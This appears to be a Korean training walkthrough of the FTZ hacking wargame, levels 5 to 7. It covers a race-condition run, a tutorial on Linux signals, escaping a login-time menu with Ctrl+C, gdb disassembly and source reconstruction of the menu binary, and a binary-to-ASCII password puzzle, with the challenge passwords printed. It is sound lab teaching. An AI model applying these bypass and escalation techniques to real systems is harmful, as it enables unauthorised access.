[level5@ftz tmp]$ gcc -o racecon1 racecon1.c

[level5@ftz tmp]$ gcc -o racecon2 racecon2.c

[level5@ftz tmp]$ gcc -o racecon3 racecon3.c

[level5@ftz tmp]$ ./racecon1 & ./racecon2 2>/dev/null & ./racecon3 2>/dev/null

[1] 4453

[2] 4454

next password : what the hell

<CTRL + Z>

[3]+ Stopped ./racecon3 2>/dev/null

 

[level5@ftz tmp]$ pgrep -lf racecon

11647 ./racecon1

11648 ./racecon2

11649 ./racecon3

 

[level5@ftz tmp]$ pgrep racecon

11647

11648

11649

 

[level5@ftz tmp]$ kill -9 `pgrep racecon`

[3]+ 죽었음 ./racecon3 2>/dev/null

 





6

Leve6 -> Leve7

 


 

단원의 목적

signal() 함수의 취약점

 

 

시그널(signal)?

하나의 프로세스(Process)가 다른프로세스(Process)에게 보내는 비동기적 알림 이벤트 메세지

 

 

# kill [-1|-2|-9|-15] PID PID

signal 종류

-------+-------------+--------------------+-------------------------------------------

number | name | comment | example

-------+-------------+--------------------+-------------------------------------------

1 SIGHUP HangUp signal, process restart # kill -1 PID

2 SIGINT Interrupt signal # kill -2 PID

9 SIGKILL force signal # kill -9 PID

15 SIGTERM termination # kill -15 PID

--------------------------------------------------------------------------------------

 

[참고] signal에 대해서

 

 

 


 

시그널(signal)에 대해서

 

 

시그널에 대한 정보 확인

 

(linux200)

 

# whatis signal

signal (2) - ANSI C signal handling

signal (3p) - signal management

signal (7) - list of available signals

signal.h [signal] (0p) - signals

 

# man 7 signal

NAME

signal - list of available signals

 

DESCRIPTION

Linux supports both POSIX reliable signals (hereinafter

"standard signals") and POSIX real-time signals.

 

Signal Dispositions

Each signal has a current disposition, which determines

how the process behaves when it is delivered the signal.

 

The entries in the "Action" column of the tables below

specify the default disposition for each signal, as fol-

lows:

 

Term Default action is to terminate the process.

 

Ign Default action is to ignore the signal.

 

Core Default action is to terminate the process and

dump core (see core(5)).

 

Stop Default action is to stop the process.

 

Cont Default action is to continue the process if it

is currently stopped.

..... (중략) .....

Signal Value Action Comment

-------------------------------------------------------------------------

SIGHUP 1 Term Hangup detected on controlling terminal

or death of controlling process

SIGINT 2 Term Interrupt from keyboard

SIGQUIT 3 Core Quit from keyboard

SIGILL 4 Core Illegal Instruction

SIGABRT 6 Core Abort signal from abort(3)

SIGFPE 8 Core Floating point exception

SIGKILL 9 Term Kill signal

SIGSEGV 11 Core Invalid memory reference

SIGPIPE 13 Term Broken pipe: write to pipe with no readers

SIGALRM 14 Term Timer signal from alarm(2)

SIGTERM 15 Term Termination signal

SIGUSR1 30,10,16 Term User-defined signal 1

SIGUSR2 31,12,17 Term User-defined signal 2

SIGCHLD 20,17,18 Ign Child stopped or terminated

SIGCONT 19,18,25 Cont Continue if stopped

SIGSTOP 17,19,23 Stop Stop process

SIGTSTP 18,20,24 Stop Stop typed at tty

SIGTTIN 21,21,26 Stop tty input for background process

SIGTTOU 22,22,27 Stop tty output for background process

..... (중략) .....

 

 

# kill -l

1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL

5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE

9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2

13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT

17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP

21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU

25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH

29) SIGIO 30) SIGPWR 31) SIGSYS 34) SIGRTMIN

35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 38) SIGRTMIN+4

39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8

43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12

47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14

51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10

55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6

59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2

63) SIGRTMAX-1 64) SIGRTMAX

 

# cd /usr/include

# find . -name signal.h -type f

./linux/signal.h

./asm-generic/signal.h

./asm/signal.h

./signal.h

./sys/signal.h

 

# cat /usr/include/asm/signal.h

..... (중략) .....

#define SIGHUP 1

#define SIGINT 2

#define SIGQUIT 3

#define SIGILL 4

#define SIGTRAP 5

#define SIGABRT 6

#define SIGIOT 6

#define SIGBUS 7

#define SIGFPE 8

#define SIGKILL 9

#define SIGUSR1 10

#define SIGSEGV 11

#define SIGUSR2 12

#define SIGPIPE 13

#define SIGALRM 14

#define SIGTERM 15

#define SIGSTKFLT 16

#define SIGCHLD 17

#define SIGCONT 18

#define SIGSTOP 19

#define SIGTSTP 20

#define SIGTTIN 21

#define SIGTTOU 22

#define SIGURG 23

#define SIGXCPU 24

#define SIGXFSZ 25

#define SIGVTALRM 26

#define SIGPROF 27

#define SIGWINCH 28

#define SIGIO 29

#define SIGPOLL SIGIO

/*

#define SIGLOST 29

*/

#define SIGPWR 30

#define SIGSYS 31

#define SIGUNUSED 31

 

/* These should not be considered constants from userland. */

#define SIGRTMIN 32

#define SIGRTMAX _NSIG

..... (중략) .....

시그널 함수(signal())

 

# man signal (# man 2 singal)

NAME

signal - ANSI C signal handling

 

SYNOPSIS

#include <signal.h>

 

typedef void (*sighandler_t)(int);

 

sighandler_t signal(int signum, sighandler_t handler);

 

DESCRIPTION

The signal() system call installs a new signal handler

for the signal with number signum. The signal handler

is set to sighandler which may be a user specified func-

tion, or either SIG_IGN or SIG_DFL.

 

Upon arrival of a signal with number signum the follow-

ing happens. If the corresponding handler is set to

SIG_IGN, then the signal is ignored. If the handler is

set to SIG_DFL, then the default action associated with

the signal (see signal(7)) occurs. Finally, if the han-

dler is set to a function sighandler then first either

the handler is reset to SIG_DFL or an implementation-

dependent blocking of the signal is performed and next

sighandler is called with argument signum.

 

Using a signal handler function for a signal is called

"catching the signal". The signals SIGKILL and SIGSTOP

cannot be caught or ignored.

 

 

시그널 함수 사용법

 

-----------------------------------------------------------------------------------------

함수 사용법 함수 사용예 설명

-----------------------------------------------------------------------------------------

signal(시그널번호, SIG_DFL) signal(SIGINT, SIG_DFL) SIGINT 시그널 실행

signal(시그널번호, SIG_IGN) signal(SIGQUIT, SIG_IGN) SIGQUIT 시그널 무시

signal(시그널번호, handler함수) signal(SIGINT, handler) SIGINT(CTRL + C)가 입력되면

handler() 함수를 실행

-----------------------------------------------------------------------------------------

 

 


 

(linux200)

 

시그널(signal)?

하나의 프로세스가 다른프로세에게 보내는 비동기적 알림 이벤트 메세지

 

# kill [-1 | -2 | -9 | -15] PID PID

signal 종류

----------------------------------

1 SIGHUP HangUp signal, process restart # kill -1 PID (# kill -HUP PID)

2 SIGINT Interrupt signal # kill -2 PID (# kill -INT PID)

9 SIGKILL force signal # kill -9 PID (# kill -KILL PID)

15 SIGTERM termination(default) # kill -15 PID(# kill -TERM PID)

----------------------------------

 

 

 


[실습] signal(-1/-9/-15) 간단한 실습

 

# pgrep -lf sendmail

4462 sendmail: accepting connections

4472 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue

 

# kill -15 4462 (# kill -TERM 4462)

# pgrep -lf sendmail

4472 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue

 

# service sendmail restart

# pgrep -lf sendmail

11130 sendmail: accepting connections

11140 sendmail: Queue runner@01:00:00 for /var/spool/clientmque

 

# kill -9 11130 (# kill -KILL 11130)

# pgrep -lf sendmail

11140 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue

 

# service sendmail restart

# pgrep -lf sendmail

11200 sendmail: accepting connections

11210 sendmail: Queue runner@01:00:00 for /var/spool/clientmque

 

# kill -1 11200

# pgrep -lf sendmail

11223 sendmail: accepting connections

11210 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue

 

 

 

 

 

[실습] signal() 함수 사용법

# cd /test && rm -rf /test/*

# vi signal.c

#include<stdio.h>

#include<signal.h>

#include<unistd.h>

 

/* CTRL + C function */

void sigint_handler(int signo)

{

printf("received %d\n", signo);

signal(SIGINT, SIG_DFL); /* signal excute */

}

 

/* CTRL + Z function */

void sigtstp_handler(int signo)

{

printf("received %d\n", signo);

signal(SIGTSTP, SIG_IGN); /* signal not excute */

}

 

/* CTRL + \ function */

void sigquit_handler(int signo)

{

printf("received %d\n", signo);

signal(SIGQUIT, SIG_DFL); /* signal excute */

}

 

int main(void)

{

if (signal(SIGINT, sigint_handler) == SIG_ERR)

{

printf("\ncan't catch signal\n");

}

 

if(signal(SIGTSTP, sigtstp_handler) == SIG_ERR)

{

printf("\ncan't catch signal\n");

}

if(signal(SIGQUIT, sigquit_handler) == SIG_ERR)

{

printf("\ncan't catch signal\n");

}

while(1) sleep(1);

return 0;

}

 

# gcc -o signal signal.c

# ./signal

<CTRL + C>

received 2

<CTRL + \>

received 3

<CTRL + C>

 

# ./signal

<CTRL + C>

received 2

<CTRL + \>

received 3

<CTRL + Z>

received 20

<CTRL + C>

 

# ./signal

<CTRL + Z>

received 20

<CTRL + C>

received 2

<CTRL + \>

received 3

<CTRL + C>

 

# stty -a (# stty --all)

speed 38400 baud; rows 33; columns 71; line = 0;

intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = M-^?;

eol2 = M-^?; swtch = M-^?; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R;

werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0;

-parenb -parodd cs8 hupcl -cstopb cread -clocal -crtscts -cdtrdsr

-ignbrk brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon

-ixoff -iuclc ixany imaxbel iutf8

opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0

isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop

-echoprt echoctl echoke

 

 

 

 

 

 

 

 

Level 7 도전해 보기

 

level6 사용자로 로그인

-> ID/PASS: level6/what the hell

 

Last login: Mon Aug 25 08:41:35 from localhost.localdomain

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

<ENTER>

 

 

#####################################

## ##

## 텔넷 접속 서비스 ##

## ##

## ##

## 1. 하이텔 2. 나우누리 ##

## 3. 천리안 ##

## ##

#####################################

 

접속하고 싶은 bbs를 선택하세요 : 1

Trying 203.245.15.76...

-> 잠시 기다리면 접속이 끊어진다.(20초 정도)

 

 

 

 

 

level6 사용자로 새로 로그인

-> ID/PASS: level6/what the hell

Last login: Mon Aug 25 08:41:35 from localhost.localdomain

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

<ENTER>

 

 

#####################################

## ##

## 텔넷 접속 서비스 ##

## ##

## ##

## 1. 하이텔 2. 나우누리 ##

## 3. 천리안 ##

## ##

#####################################

 

접속하고 싶은 bbs를 선택하세요 : 2

Trying 203.238.129.97...

-> 잠시 기다리면 접속이 끊어진다.(20초 정도)

 

 

level6 사용자로 새로 로그인

-> ID/PASS: level6/what the hell

Last login: Mon Aug 25 08:41:35 from localhost.localdomain

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

<ENTER>

 

#####################################

## ##

## 텔넷 접속 서비스 ##

## ##

## ##

## 1. 하이텔 2. 나우누리 ##

## 3. 천리안 ##

## ##

#####################################

 

접속하고 싶은 bbs를 선택하세요 : 3

Trying 210.120.128.180...

-> 잠시 기다리면 접속이 끊어진다.(20초 정도)

 

 

 

 



(windows) 원본 운영체제

 

<CTRL + ESC> => "cmd"

 

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

 

C:\Users\soldesk> cd \

 

C:\> cls

C:\> nslookup

기본 서버: kns.kornet.net

Address: 168.126.63.1

 

> 203.245.15.76

서버: kns.kornet.net

Address: 168.126.63.1

 

이름: home.hitel.net

Address: 203.245.15.76

 

> 203.238.129.97

서버: kns.kornet.net

Address: 168.126.63.1

 

*** kns.kornet.net() 203.238.129.97() 찾을 수 없습니다. Non-existent domain

> 210.120.128.180

서버: kns.kornet.net

Address: 168.126.63.1

 

이름: chollian.net

Address: 210.120.128.180

 

> quit

-> 인터넷의 발전으로 PC 통신 BBS 서비스는 페지 되었다.

 

BBS 화면은 가짜 모듈에 해당한다. 이 메뉴를 우회할 수 있는 뭔가가 있을 것이다.

대신 우회할 수 있는 시점이 어디인가가 중요하다.

 

우회할 수 있는 시점을 확인하기 위해서 수많은 시그널을 무작위로 입력해 본다.

 

level6 사용자로 새로 로그인

-> ID/PASS: level6/what the hell

Last login: Mon Aug 25 08:41:35 from localhost.localdomain

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

<ENTER>

 

#####################################

## ##

## 텔넷 접속 서비스 ##

## ##

## ##

## 1. 하이텔 2. 나우누리 ##

## 3. 천리안 ##

## ##

#####################################

 

접속하고 싶은 bbs를 선택하세요 : <CTRL + C> Can't use ctrl+c

<CTRL + D>

 

-> 접속이 끊어진다.

level6 사용자로 새로 로그인

-> ID/PASS: level6/what the hell

Last login: Mon Aug 25 08:41:35 from localhost.localdomain

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

<ENTER>

 

#####################################

## ##

## 텔넷 접속 서비스 ##

## ##

## ##

## 1. 하이텔 2. 나우누리 ##

## 3. 천리안 ##

## ##

#####################################

 

접속하고 싶은 bbs를 선택하세요 : <CTRL + \>

 

-> 접속이 끊어진다.

-> 시그널 처리가 되어 있다는 것을 알수 있다.

-> ( ? ) 그럼 어떻게 로그인하자마자 프로그램이 실행 된것일까?

 




level6 사용자로 새로 로그인

-> ID/PASS: level6/what the hell

login: level6

Password: (what the hell)

Last login: Mon Aug 25 15:30:54 from 192.168.10.1

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

<CTRL + C>

 

[level6@ftz level6]$

 

 

[level6@ftz level6]$ id

uid=3006(level6) gid=3006(level6) groups=3006(level6)

 

[level6@ftz level6]$ my-pass

Level6 Password is "what the hell".

 

[level6@ftz level6]$ ls -al

합계 104

drwxr-xr-x 4 root level6 4096 35 2003 .

drwxr-xr-x 35 root root 4096 819 12:58 ..

-rw-r--r-- 1 root root 245 924 2000 .Xdefaults

-rw------- 1 root root 1 115 2010 .bash_history

-rw-r--r-- 1 root root 12 1124 2000 .bash_login

-rw-r--r-- 1 root root 24 224 2002 .bash_logout

-rw-r--r-- 1 root root 224 224 2002 .bash_profile

-rw-r--r-- 1 root root 163 35 2003 .bashrc

-rw-r--r-- 1 root root 400 924 2000 .cshrc

-rw-r--r-- 1 root root 4742 924 2000 .emacs

-r--r--r-- 1 root root 319 924 2000 .gtkrc

-rw-r--r-- 1 root root 100 924 2000 .gvimrc

-rw-r--r-- 1 root root 226 924 2000 .muttrc

-rw-r--r-- 1 root root 367 924 2000 .profile

-rw-r--r-- 1 root root 1 57 2002 .viminfo

-rw-r--r-- 1 root root 4145 924 2000 .vimrc

-rw-r--r-- 1 root root 72 1123 2000 hint

-rw-r----- 1 root level6 36 324 2000 password

drwxr-xr-x 2 root level6 4096 516 2005 public_html

drwxrwxr-x 2 root level6 4096 114 2009 tmp

-rwxr-x--- 1 root level6 14910 35 2003 tn

 

[level6@ftz level6]$ cat hint

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

 

[level6@ftz level6]$ file tn

tn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped

 

 

 

 

 

 

 

[level6@ftz level6]$ cat .bashrc

# .bashrc

 

# User specific aliases and functions

 

# Source global definitions

if [ -f /etc/bashrc ]; then

. /etc/bashrc

fi

export PS1="[\u@\h \W]\$ "

./tn

logout

 

[level6@ftz level6]$ cat password

Level7 password is "come together".

 

 

사용자 로그인 ---> 환경파일(.bashrc(./tn)) ---> tn 프로그램 실행(번호) ---> 천리안(telnet)

 

 

 

 

 

 

 

 

 

 

 

의사 코드를 생성해 보자.

 

level6 사용자로 로그인

login: level6

Password: (what the hell)

Last login: Mon Aug 25 15:33:48 from 192.168.10.1

 

 

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 

 

<CTRL + C>

 

[level6@ftz level6]$ id

uid=3006(level6) gid=3006(level6) groups=3006(level6)

 

[level6@ftz level6]$ ls -l

합계 32

-rw-r--r-- 1 root root 72 1123 2000 hint

-rw-r----- 1 root level6 36 324 2000 password

drwxr-xr-x 2 root level6 4096 516 2005 public_html

drwxrwxr-x 2 root level6 4096 114 2009 tmp

-rwxr-x--- 1 root level6 14910 35 2003 tn

 

[level6@ftz level6]$ gdb tn

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

0x080484f8 <main+0>: push %ebp

0x080484f9 <main+1>: mov %esp,%ebp

0x080484fb <main+3>: sub $0x8,%esp

0x080484fe <main+6>: sub $0xc,%esp

0x08048501 <main+9>: push $0x80486f2

0x08048506 <main+14>: call 0x8048384 <system> /* int system(const char *string); */

0x0804850b <main+19>: add $0x10,%esp

0x0804850e <main+22>: call 0x8048354 <getchar> /* int getchar(void); */

0x08048513 <main+27>: sub $0xc,%esp

0x08048516 <main+30>: push $0x80486fb

0x0804851b <main+35>: call 0x8048384 <system>

0x08048520 <main+40>: add $0x10,%esp

0x08048523 <main+43>: sub $0xc,%esp

0x08048526 <main+46>: push $0x8048720

0x0804852b <main+51>: call 0x80483c4 <printf> /* int printf(const char *format, ...); */

0x08048530 <main+56>: add $0x10,%esp

0x08048533 <main+59>: sub $0xc,%esp

0x08048536 <main+62>: push $0x8048760

0x0804853b <main+67>: call 0x80483c4 <printf>

0x08048540 <main+72>: add $0x10,%esp

0x08048543 <main+75>: sub $0xc,%esp

0x08048546 <main+78>: push $0x80487a0

0x0804854b <main+83>: call 0x80483c4 <printf>

0x08048550 <main+88>: add $0x10,%esp

0x08048553 <main+91>: sub $0xc,%esp

0x08048556 <main+94>: push $0x8048760

0x0804855b <main+99>: call 0x80483c4 <printf>

0x08048560 <main+104>: add $0x10,%esp

0x08048563 <main+107>: sub $0xc,%esp

0x08048566 <main+110>: push $0x8048760

0x0804856b <main+115>: call 0x80483c4 <printf>

0x08048570 <main+120>: add $0x10,%esp

---Type <return> to continue, or q <return> to quit---

0x08048573 <main+123>: sub $0xc,%esp

0x08048576 <main+126>: push $0x80487e0

0x0804857b <main+131>: call 0x80483c4 <printf>

0x08048580 <main+136>: add $0x10,%esp

0x08048583 <main+139>: sub $0xc,%esp

0x08048586 <main+142>: push $0x8048820

0x0804858b <main+147>: call 0x80483c4 <printf>

0x08048590 <main+152>: add $0x10,%esp

0x08048593 <main+155>: sub $0xc,%esp

0x08048596 <main+158>: push $0x8048760

0x0804859b <main+163>: call 0x80483c4 <printf>

0x080485a0 <main+168>: add $0x10,%esp

0x080485a3 <main+171>: sub $0xc,%esp

0x080485a6 <main+174>: push $0x8048860

0x080485ab <main+179>: call 0x80483c4 <printf>

0x080485b0 <main+184>: add $0x10,%esp

0x080485b3 <main+187>: sub $0x8,%esp

0x080485b6 <main+190>: push $0x80484e0

0x080485bb <main+195>: push $0x2

0x080485bd <main+197>: call 0x8048374 <signal> /* void (*signal(int signum, void

(*handler)(int)))(int); */

0x080485c2 <main+202>: add $0x10,%esp

0x080485c5 <main+205>: sub $0xc,%esp

0x080485c8 <main+208>: push $0x80488a0

0x080485cd <main+213>: call 0x80483c4 <printf>

0x080485d2 <main+218>: add $0x10,%esp

0x080485d5 <main+221>: sub $0x8,%esp

0x080485d8 <main+224>: lea 0xfffffffc(%ebp),%eax

0x080485db <main+227>: push %eax

0x080485dc <main+228>: push $0x80488c3

0x080485e1 <main+233>: call 0x8048394 <scanf> /* int scanf(const char *format, ...); */

0x080485e6 <main+238>: add $0x10,%esp

0x080485e9 <main+241>: cmpl $0x1,0xfffffffc(%ebp)

0x080485ed <main+245>: jne 0x80485ff <main+263>

---Type <return> to continue, or q <return> to quit---

0x080485ef <main+247>: sub $0xc,%esp

0x080485f2 <main+250>: push $0x80488c6

0x080485f7 <main+255>: call 0x8048384 <system>

0x080485fc <main+260>: add $0x10,%esp

0x080485ff <main+263>: cmpl $0x2,0xfffffffc(%ebp)

0x08048603 <main+267>: jne 0x8048615 <main+285>

0x08048605 <main+269>: sub $0xc,%esp

0x08048608 <main+272>: push $0x80488db

0x0804860d <main+277>: call 0x8048384 <system>

0x08048612 <main+282>: add $0x10,%esp

0x08048615 <main+285>: cmpl $0x3,0xfffffffc(%ebp)

0x08048619 <main+289>: jne 0x804862b <main+307>

0x0804861b <main+291>: sub $0xc,%esp

0x0804861e <main+294>: push $0x80488f1

0x08048623 <main+299>: call 0x8048384 <system>

0x08048628 <main+304>: add $0x10,%esp

0x0804862b <main+307>: cmpl $0x1,0xfffffffc(%ebp)

0x0804862f <main+311>: je 0x804864d <main+341>

0x08048631 <main+313>: cmpl $0x2,0xfffffffc(%ebp)

0x08048635 <main+317>: je 0x804864d <main+341>

0x08048637 <main+319>: cmpl $0x3,0xfffffffc(%ebp)

0x0804863b <main+323>: je 0x804864d <main+341>

0x0804863d <main+325>: sub $0xc,%esp

0x08048640 <main+328>: push $0x8048920

0x08048645 <main+333>: call 0x80483c4 <printf>

0x0804864a <main+338>: add $0x10,%esp

0x0804864d <main+341>: leave

0x0804864e <main+342>: ret

0x0804864f <main+343>: nop

End of assembler dump.

(gdb) x/s 0x80486f2

0x80486f2 <_IO_stdin_used+46>: "cat hint"

(gdb) x/s 0x80486fb

0x80486fb <_IO_stdin_used+55>: "clear"

(gdb) x/s 0x8048720

0x8048720 <_IO_stdin_used+92>: "\n ", '#' <repeats 37 times>, "\n"

(gdb) x/s 0x8048760

0x8048760 <_IO_stdin_used+156>: " ##", ' ' <repeats 33 times>, "##\n"

(gdb) x/s 0x80487a0

0x80487a0 <_IO_stdin_used+220>: " ## 텔넷 접속 서비스 ##\n"

(gdb) x/s 0x8048760

0x8048760 <_IO_stdin_used+156>: " ##", ' ' <repeats 33 times>, "##\n"

(gdb) x/s 0x8048760

0x8048760 <_IO_stdin_used+156>: " ##", ' ' <repeats 33 times>, "##\n"

(gdb) x/s 0x80487e0

0x80487e0 <_IO_stdin_used+284>: " ## 1. 하이텔 2. 나우누리 ##\n"

(gdb) x/s 0x8048820

0x8048820 <_IO_stdin_used+348>: " ## 3. 천리안", ' ' <repeats 19 times>, "##\n"

(gdb) x/s 0x8048760

0x8048760 <_IO_stdin_used+156>: " ##", ' ' <repeats 33 times>, "##\n"

(gdb) x/s 0x8048860

0x8048860 <_IO_stdin_used+412>: " ", '#' <repeats 37 times>, "\n"

(gdb) x/s 0x80484e0

0x80484e0 <sig_func>: "U\211?203?b\203?fh?206\004\b?\203?020U\211?\203?b\203?fh?206\004\b??\203?020??\203?fh?206\004\b??\203?020\203?fh \207\004\b?224?\203?020\203?fh`\207\004\b?204?\203?020\203?fh?207\004\b??\203?020\203?fh`\207\004\b??\203?020\203?fh`\207\004\b??\203?020\203?fh?207\004\b??\203?020\203?fh \210\004\b??\203?020\203?\fh`\207\004\b??\203?020\203?fh`"...

(gdb) disas sig_func

Dump of assembler code for function sig_func:

0x080484e0 <sig_func+0>: push %ebp

0x080484e1 <sig_func+1>: mov %esp,%ebp

0x080484e3 <sig_func+3>: sub $0x8,%esp

0x080484e6 <sig_func+6>: sub $0xc,%esp

0x080484e9 <sig_func+9>: push $0x80486e0

0x080484ee <sig_func+14>: call 0x80483c4 <printf>

0x080484f3 <sig_func+19>: add $0x10,%esp

0x080484f6 <sig_func+22>: leave

0x080484f7 <sig_func+23>: ret

End of assembler dump.

(gdb) x/s 0x80486e0

0x80486e0 <_IO_stdin_used+28>: "Can't use ctrl+c\n"

(gdb) x/s 0x80488a0

0x80488a0 <_IO_stdin_used+476>: "\n접속하고 싶은 bbs를 선택하세요 : "

(gdb) x/s 0x80488c3

0x80488c3 <_IO_stdin_used+511>: "%d"

(gdb) x/s 0x80488c6

0x80488c6 <_IO_stdin_used+514>: "telnet 203.245.15.76"

(gdb) x/s 0x80488db

0x80488db <_IO_stdin_used+535>: "telnet 203.238.129.97"

(gdb) x/s 0x80488f1

0x80488f1 <_IO_stdin_used+557>: "telnet 210.120.128.180"

(gdb) x/s 0x8048920

0x8048920 <_IO_stdin_used+604>: "잘못 입력하셨습니다. 접속을 종료합니다.\n"

(gdb) quit

 

 

 

 

복원된 의사코드이다.

# vi tn.c

#include <stdio.h>

#include <signal.h>

 

void sig_func(int signo)

{

printf("Can't use ctrl+c\n");

}

 

int main()

{

char input;

int select, i;

 

system("cat hint");

input = getchar();

system("clear");

 

printf("#####################################\n");

printf("## ##\n");

printf("## 텔넷 접속 서비스 ##\n");

printf("## ##\n");

printf("## 1. 하이텔 2. 나우누리 ##\n");

printf("## 3. 천리안 ##\n");

printf("## ##\n");

printf("#####################################\n");

 

for(i=1; i<32; i++)

{

if(i == SIGINT) signal(i, sig_func);

else signal(i, SIG_IGN);

}

 

printf("\n접속하고 싶은 bbs를 선택하세요 : ");

switch(input)

{

case 1: system("telnet 203.245.15.76"); break;

case 2: system("telnet 203.238.129.97"); break;

case 3: system("telnet 210.120.128.180"); break;

default:

if(input !=1 && input !=2 && input !=3)

printf("잘못 입력하셨습니다. 접속을 종료합니다.\n");

}

return 0;

}

 

 

 

 

 

원본 소스 코드

# vi tn.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <signal.h>

 

void sig_func( int sig )

{

printf( "Can't use ctrl+c\n" );

}

 

int main(){

 

int i;

 

system("cat hint");

getchar();

system("clear");

printf("\n #####################################\n");

printf(" ## ##\n");

printf(" ## 텔넷 접속 서비스 ##\n");

printf(" ## ##\n");

printf(" ## ##\n");

printf(" ## 1. 하이텔 2. 나우누리 ##\n");

printf(" ## 3. 천리안 ##\n");

printf(" ## ##\n");

printf(" #####################################\n");

 

signal( SIGINT, sig_func );

printf("\n접속하고 싶은 bbs를 선택하세요 : ");

scanf( "%d", &i );

 

if( i==1 ) system("telnet 203.245.15.76");

if( i==2 ) system("telnet 203.238.129.97");

if( i==3 ) system("telnet 210.120.128.180");

if( i!=1 && i!=2 && i!=3 )

printf("잘못 입력하셨습니다. 접속을 종료합니다.\n");

 

}

 

 

 


7

Leve7 -> Leve8

 

단원의 목적

암호학에 대해서(2진수 <-> 10진수 <-> 16진수)

 

printf() 함수를 사용할 때 메모리에 2진수로 값이 저장되어 있지만 사람이 이해하기 쉽도록 하기 위해서 %c를 지정하면 한글자가 보이고, %d로 지정하면 모니터에 정수가 출력된다.

 

반대로 사용자가 메모리에 원하는 문자를 저장하려면 아스키 테이블을 보고, 그 문자에 해당하는 16진수 값을 저장해야 한다.

 

 

Level 8 문제에 도전하기

 

level7 사용자로 로그인

-> ID/PASS: level7/come together

 

---------------------------- 실습을 위한 준비 ------------------------------

[level7@ftz level7]$ su root

Password: (root 사용자 암호 입력)

 

[level7@ftz level7]$ cat << EOF >> /bin/wrong.txt

올바르지 않은 패스워드 입니다.

패스워드는 가까운곳에...

--_--_- --____- ---_-__ --__-_-

EOF

 

[level7@ftz level7]$ cat /bin/wrong.txt

올바르지 않은 패스워드 입니다.

패스워드는 가까운곳에...

--_--_- --____- ---_-__ --__-_-

 

[level7@ftz level7]$ exit

---------------------------- 실습을 위한 준비 ------------------------------

 

[level7@ftz level7]$ ls -l

합계 12

-rw-r--r-- 1 root root 185 1123 2000 hint

drwxr-xr-x 2 root level7 4096 224 2002 public_html

drwxrwxr-x 2 root level7 4096 19 2009 tmp

 

[level7@ftz level7]$ cat hint

 

/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.

 

1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.

 

 

[level7@ftz level7]$ find / -name level7 2>/dev/null

/bin/level7

/home/level7

 

[level7@ftz level7]$ find / -user level8 -perm -4000 2>/dev/null

/bin/level7

 

[level7@ftz level7]$ ls -l /bin/level7

-rws--x--- 1 level8 level7 12312 819 12:58 /bin/level7

 

[level7@ftz level7]$ /bin/level7

Insert The Password : aaaa

올바르지 않은 패스워드 입니다.

패스워드는 가까운곳에...

--_--_- --____- ---_-__ --__-_-

 

[level7@ftz level7]$ /bin/level7

Insert The Password : 1234

올바르지 않은 패스워드 입니다.

패스워드는 가까운곳에...

--_--_- --____- ---_-__ --__-_

 

-------------------------------------------------------------------------

구분 표기 예 아스키문자열

-------------------------------------------------------------------------

2진수(Bin): 1101101 1100001 1110100 1100101 ?

10진수(Dec): 109 97 116 101 mate

16진수(Hex): 6d 61 74 65 mate

-------------------------------------------------------------------------

 

 

 

[level7@ftz level7]$ export LANG=C

[level7@ftz level7]$ man ascii

Oct Dec Hex Char Oct Dec Hex Char

------------------------------------------------------------

..... (중략) ....

001 1 01 SOH (start of heading) 101 65 41 A

..... (중략) ....

